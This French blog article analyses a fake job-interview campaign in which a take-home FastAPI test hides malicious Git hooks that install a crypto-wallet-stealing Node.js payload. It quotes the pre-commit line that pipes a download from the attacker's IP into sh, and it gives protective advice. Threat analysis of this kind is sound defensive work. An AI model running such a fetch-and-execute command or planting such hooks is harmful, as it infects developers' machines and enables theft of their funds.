Un recruteur vous contacte sur LinkedIn, vous propose un poste en remote à 15 000 dollars par mois, et vous envoie un test technique à réaliser chez vous. La proposition est alléchante, presque trop. C’est exactement ce qui est arrivé à un développeur indien en juillet 2026. Sauf qu’en inspectant le projet reçu, il a découvert bien plus qu’un banal exercice FastAPI : une infrastructure malveillante complète, cachée dans les hooks Git.
Les hooks Git malveillants utilisés dans de faux tests techniques représentent un nouveau vecteur d’attaque qui retourne contre nous l’un des rituels les plus banals du recrutement tech. Voici comment l’attaque fonctionne, ce qu’elle vise, et comment vous protéger.
Un recrutement trop beau pour être honnête
Tout commence par un message privé sur LinkedIn. Un recruteur propose un poste de développeur Python, en full remote, avec une rémunération de 10 000 à 15 000 dollars mensuels. Pour un développeur basé en Inde, c’est un salaire largement au-dessus du marché.
Le candidat, intrigué mais prudent, vérifie l’entreprise : une startup passée par Y Combinator. Le profil semble crédible. Il envoie son CV, que le recruteur valide immédiatement. Trop rapidement.
L’étape suivante est classique : un test technique à réaliser à la maison. L’attaquant partage un lien Google Drive contenant une archive ZIP et un PDF d’instructions. Le document est bien présenté, avec des consignes légitimes sur l’amélioration d’une base de code, des suggestions architecturales et quelques opérations Git.
Le piège est amorcé.
Analyse des hooks Git piégés
En extrayant l’archive, le développeur découvre un projet FastAPI avec SQLAlchemy. Rien d’anormal à première vue. Le fichier requirements.txt est propre, aucun paquet suspect, pas de typosquatting.
Par réflexe, il lance tree -a pour lister les fichiers cachés. Une habitude de CTF qui, cette fois, lui sauve la mise. Le dossier .git/hooks/ contient la totalité des hooks disponibles, tous préconfigurés. C’est un premier signal d’alarme : un projet classique n’embarque jamais autant de hooks actifs.
Le hook pre-commit attire son attention. Voici ce qu’il contient :
curl -sL 'http://45.61.164.38:5777/task/mac?id=402' | sh
Le script détecte le système d’exploitation de la victime (macOS, Linux, Windows) et télécharge silencieusement une charge utile depuis un serveur distant. L’exécution se fait en arrière-plan, sans aucun retour pour l’utilisateur. Il suffit que le candidat lance un git commit pour que le code malveillant s’exécute.
Et le PDF d’instructions demandait explicitement d’effectuer des opérations Git. Ce n’était pas un hasard.
Une charge utile en plusieurs étapes
Le premier script n’est qu’un dropper. Une fois exécuté, il télécharge un second étage nommé tokenlinux.npl, le renomme en tokenlinux.sh, le rend exécutable et le lance avec nohup pour qu’il survive à la fermeture du terminal.
Ce second script est bien plus lourd. Il installe Node.js silencieusement, configure le PATH, puis télécharge deux fichiers : parser.js et package.json. Les dépendances Node sont installées automatiquement, et le parseur est exécuté en tâche de fond.
Le fichier parser.js est lourdement obfusqué. Même Claude, le LLM d’Anthropic, a refusé de l’analyser en déclenchant ses garde-fous de sécurité. Gemini a en revanche accepté de le désobfusquer, révélant la véritable nature de l’attaque.
Un détail technique important : le paramètre id=402 passé dans chaque requête. En modifiant cet identifiant, le développeur a reçu des scripts différents. Les attaquants traquent chaque victime avec un identifiant unique, ce qui leur permet de servir des charges personnalisées.
L’objectif : le pillage de wallets crypto
Le package.json téléchargé par le malware liste des dépendances qui ne laissent aucun doute sur les intentions des attaquants :
hardhat: un environnement de développement Ethereum, utilisé pour interagir avec des smart contractsclipboardy: un module qui lit le presse-papiers, probablement pour intercepter des adresses de wallet copiéesjsonwebtoken: pour manipuler des tokens JWTbasic-ftp: pour exfiltrer des données via FTPps-node: pour lister les processus en cours d’exécution
Le suffixe .npl du premier fichier téléchargé est associé à des campagnes de vol de cryptomonnaie ciblant les développeurs. L’extension semble être une signature d’un groupe d’attaquants spécialisé dans ce type d’opération.
Le serveur de commande et contrôle, hébergé derrière l’IP 45.61.164.38, exposait trois ports ouverts dont un SSH (OpenSSH 9.6p1). Les attaquants avaient un bon niveau d’OPSEC : pas de CVE exploitable sur cette version très récente.
D’autres variantes dans la nature
En creusant le sujet, le développeur a découvert que cette campagne ne se limitait pas aux hooks Git. Certains candidats ont reçu des archives contenant un dossier .vscode piégé avec des commandes de lancement malveillantes. Dans ce scénario, il n’est même pas nécessaire d’exécuter une commande Git : le simple fait d’ouvrir le dossier dans VSCode déclenche l’infection.
Le dépôt Git utilisé comme leurre était un clone d’un projet open source légitime, un service de finances personnelles développé par une contributrice qui n’a rien à voir avec l’attaque. Les attaquants ont simplement ajouté leur dossier .git piégé par-dessus un code propre.
Le faux recruteur a supprimé son compte LinkedIn immédiatement après avoir été démasqué.
Comment se protéger face à ce type de menace
Quelques réflexes simples permettent de neutraliser ce type d’attaque :
- Inspectez toujours le dossier
.git/hooks/d’un projet reçu en test technique avant de lancer la moindre commande - Utilisez
tree -aouls -lapour repérer les fichiers et dossiers cachés suspects - Vérifiez le contenu des hooks avant toute exécution de
git commitougit push - Méfiez-vous des offres trop généreuses et des recruteurs qui partagent des tests via Google Drive plutôt qu’un dépôt Git public
- Isolez les tests techniques dans une machine virtuelle ou un conteneur jetable
- Scannez les dépendances avec
npm auditoupip auditavant toute installation
Ce qu’il faut retenir
- Des attaquants utilisent de faux tests techniques pour distribuer des hooks Git malveillants
- L’exécution d’un simple
git commitsuffit à déclencher l’infection - Le malware déploie une chaîne multi-étapes qui installe Node.js et exécute du code obfusqué
- L’objectif final est le vol de wallets de cryptomonnaie via Hardhat et l’interception du presse-papiers
- Des variantes exploitent les commandes de lancement de VSCode, sans même nécessiter Git
Ce type de menace nous rappelle que la vigilance ne s’arrête pas aux ports ouverts et aux dépendances vulnérables. Le simple fait d’exécuter du code tiers, même dans un cadre professionnel légitime, peut ouvrir la porte à des attaquants déterminés.
Vous avez croisé un test technique suspect ou un recruteur trop pressant ? Venez en parler sur LinkedIn. Et si ce genre d’enquête vous parle, le blog publie régulièrement des analyses de menaces qui touchent notre quotidien de développeurs.
Sources
- Article original de Appaji (citizendot) : Fake Job Interview Git Hook Malware
- Dépôt GitHub d’origine utilisé comme leurre : personal-finance-service
